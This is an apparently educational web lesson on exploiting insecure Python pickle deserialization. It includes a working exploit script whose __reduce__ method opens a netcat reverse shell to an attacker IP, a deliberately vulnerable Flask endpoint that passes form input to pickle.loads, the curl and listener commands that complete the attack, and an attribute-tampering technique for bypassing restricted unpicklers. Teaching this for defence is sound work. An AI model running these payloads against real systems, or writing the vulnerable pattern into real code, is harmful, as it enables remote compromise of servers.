Skip to main content
Create your own
Lesson illustration

Exploiting Insecure Deserialization

Hello! Welcome back to our module on advanced server-side vulnerabilities.

In our last lesson, we established the theoretical foundation of insecure deserialization. You learned what serialization is, how deserializing untrusted data becomes a security risk, and how Python's pickle module can be abused via the __reduce__ method to achieve Remote Code Execution (RCE).

Today, we transition from theory to practice. This lesson is all about the hands-on application of those concepts. Our learning outcome is to identify and exploit insecure deserialization vulnerabilities in a target application, specifically using Python Pickle. You will learn how to:

  1. Craft a malicious pickle payload to execute commands.
  2. Set up a vulnerable application environment.
  3. Execute the attack to gain a reverse shell on the target.

Given your background in Computer Science and Python, you'll be writing the exploit code yourself, giving you a deep, practical understanding of the entire attack chain.

1. Anatomy of a Python Pickle RCE Exploit

Let's start by building our weapon. As we discussed, the __reduce__ "magic method" is the key. When an object with this method is deserialized, Python executes a callable specified by the method. We can use this to call os.system with a command of our choosing.

For a practical attack, a reverse shell is more effective than a simple command like id or whoami. It provides interactive access to the compromised server.

The article "Exploiting Python pickles" provides a clear, step-by-step guide to creating exactly this kind of exploit. We'll use it as our primary reference for building the payload.

Exploiting Python pickles

This article by David Hamann will be our guide for creating the payload and the vulnerable application. It contains all the code snippets we need.

First, read the sections 'Controlling the behavior of pickling/unpickling' and 'Creating the exploit'. Focus on understanding the structure of the RCE class and its __reduce__ method. Notice how it returns a tuple containing os.system and the command string.

Let's break down the exploit script from the article:

  1. Import necessary modules: pickle for serialization, base64 for encoding the payload, and os to access os.system.
  2. Define the malicious class: A class (named RCE in the article) is created.
  3. Implement __reduce__:
    • This method returns a tuple: (callable, arguments).
    • The callable is os.system.
    • The arguments is another tuple containing the command string. A common reverse shell payload for Linux is: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f. Remember to replace YOUR_IP and YOUR_PORT.
  4. Instantiate and Serialize: An instance of the class is created (RCE()), and then passed to pickle.dumps() to create the raw byte stream payload.
  5. Encode the Payload: The raw bytes are encoded using base64.urlsafe_b64encode() to ensure they can be safely transmitted over HTTP in a form or URL parameter.

Here is the complete script. Create a file named exploit.py and save this code.

# exploit.py
import pickle
import base64
import os

class RCE:
  def __reduce__(self):
    # Replace with your attacker machine's IP and a port for the listener
    ATTACKER_IP = "127.0.0.1" 
    ATTACKER_PORT = 4444
    
    cmd = (f'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
           f'/bin/sh -i 2>&1 | nc {ATTACKER_IP} {ATTACKER_PORT} > /tmp/f')
    return os.system, (cmd,)

if __name__ == '__main__':
  pickled = pickle.dumps(RCE())
  print(base64.urlsafe_b64encode(pickled).decode())
Python Pickle Deserialization Exploit Code on GitHub
This image shows another example of a pickle exploit script. Note the common structure: a class with a `__reduce__` method that returns `os.system` and a command. This is the fundamental pattern for pickle-based RCE.

2. Setting Up the Target Environment

To test our exploit, we need a vulnerable application. An application is vulnerable if it deserializes user-controlled data with pickle.loads(). We will create a simple web app using Flask that does exactly this.

Exploiting Python pickles

Let's return to the 'Exploiting Python pickles' article to get the code for our vulnerable server.

Read the section 'Creating a vulnerable app'. Copy the Flask application code into a new file named app.py.

Here's the code for your app.py:

# app.py
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/hackme", methods=["POST"])
def hackme():
    # WARNING: This is intentionally vulnerable code for educational purposes.
    # Do NOT use this in production.
    pickled_data = request.form.get('pickled', '')
    if pickled_data:
        try:
            data = base64.urlsafe_b64decode(pickled_data)
            deserialized = pickle.loads(data)
            # In a real app, something would be done with 'deserialized' here.
        except Exception as e:
            print(f"Error deserializing: {e}")
            
    return 'Data processed.', 200

if __name__ == "__main__":
    # To install flask: pip install Flask
    app.run(debug=True, port=5000)

This application has a single endpoint, /hackme, that accepts POST requests. It expects a parameter named pickled, base64-decodes it, and passes the result directly to pickle.loads(). This is the vulnerability.

3. Executing the Attack

Now you have all the pieces: the exploit generator (exploit.py), the vulnerable server (app.py), and the knowledge to connect them.

Here is the attack plan:

  1. Start your listener: Open a terminal and start a netcat listener to catch the incoming reverse shell. Use the same port you specified in exploit.py.

    nc -nlvp 4444
    

    The flags mean: -n (no DNS), -l (listen), -v (verbose), -p (port).

  2. Run the vulnerable app: Open a second terminal, navigate to the directory with app.py, and run it.

    # First, ensure you have Flask installed
    # pip install Flask
    python3 app.py
    

    You should see output indicating the Flask server is running on http://127.0.0.1:5000.

  3. Generate the payload: Open a third terminal and run your exploit.py script.

    python3 exploit.py
    

    This will print a long base64-encoded string to your console. This is your malicious payload. Copy it.

  4. Send the payload: Use curl to send the payload to the vulnerable application. Replace YOUR_PAYLOAD_HERE with the string you just copied.

    curl -X POST -d "pickled=YOUR_PAYLOAD_HERE" http://127.0.0.1:5000/hackme
    
  5. Catch the shell! Immediately switch back to your netcat listener terminal. If everything worked, you will see a connect to [127.0.0.1] from ... message, and you will have a command prompt. You can now execute commands like whoami, id, and ls -la on the "victim" machine (which is your own machine in this case).

To see a similar attack carried out in a real web application context, watch the final part of the PwnFunction video from our last lesson.

Insecure Deserialization Attack Explained

The video 'Insecure Deserialization Attack Explained' demonstrates this exact attack flow, but uses a malicious cookie instead of a POST parameter.

Watch the final segment from 07:46 to 08:53. This will solidify your understanding by showing the payload delivery and the resulting reverse shell in a slightly different but conceptually identical scenario.

Test your understanding!

Modify your exploit.py script. Instead of a reverse shell, make the payload execute the command touch /tmp/pwned. After sending the payload to the application, how would you verify that your exploit was successful?

Show answer

You would modify the cmd variable in exploit.py to be cmd = 'touch /tmp/pwned'. After generating and sending the new payload, you would verify its success by checking for the existence of the file in the /tmp directory. You could do this by running the command ls /tmp/pwned in your terminal. If the file exists, the exploit was successful.

4. Advanced Topic: Exploitation Without Direct RCE

In some cases, developers might try to secure pickle by using a "restricted" or "safe" unpickler that prevents calls to dangerous modules like os. Does this mean the application is safe? Not necessarily.

Even if you cannot execute arbitrary commands, you can still cause significant harm by manipulating the application's logic. If you know the class structure the application expects to deserialize, you can craft a pickled object of that same class but with modified instance attributes.

For example, if an application deserializes a User object that has an attribute isAdmin = False, you could craft your own User object with isAdmin = True, pickle it, and send it to the server. When deserialized, the application might grant you admin privileges based on this manipulated object.

Advanced Pickle Exploitation Against LLM’s with Python!

The video 'Advanced Pickle Exploitation' by Off By One Security provides an excellent demonstration of this advanced technique.

Watch the segment from 24:57 to 27:44, and then the demonstration from 38:59 to 46:10. The speaker explains how to exploit an application by creating a pickled object of an expected type (CustomSocket) and manipulating its attributes (ip and message) to control the application's behavior, even without direct RCE.

This technique is more subtle and requires a better understanding of the target application's source code, but it's a powerful method to bypass simple RCE mitigations and is a hallmark of more advanced exploitation.

Conclusion

In this lesson, you moved from theory to hands-on exploitation of insecure deserialization in Python. You successfully built and executed an attack from start to finish.

Key Takeaways:

  • Exploit Crafting: A pickle RCE payload is a serialized instance of a class containing a __reduce__ method, which is crafted to return (os.system, (command,)).
  • Payload Delivery: The payload must be encoded (e.g., base64) and delivered to an application endpoint that passes it to pickle.loads().
  • Attack Chain: The full attack involves setting up a listener, generating the payload, and sending it to the vulnerable server to catch a shell.
  • Beyond RCE: Even with RCE mitigations, insecure deserialization can be exploited by manipulating the attributes of deserialized objects to control application logic.

Next Lesson Preview:

We will now shift our focus from a language-specific format (pickle) to a widely used data-interchange format: XML. In the next lesson, "Identify XML External Entity (XXE) injection vulnerabilities by manipulating XML parsers," you will learn how another type of data parser can be tricked into exfiltrating local files and performing server-side request forgery (SSRF).

Can't find a good explanation? Sign up and we'll make it for you

Sign up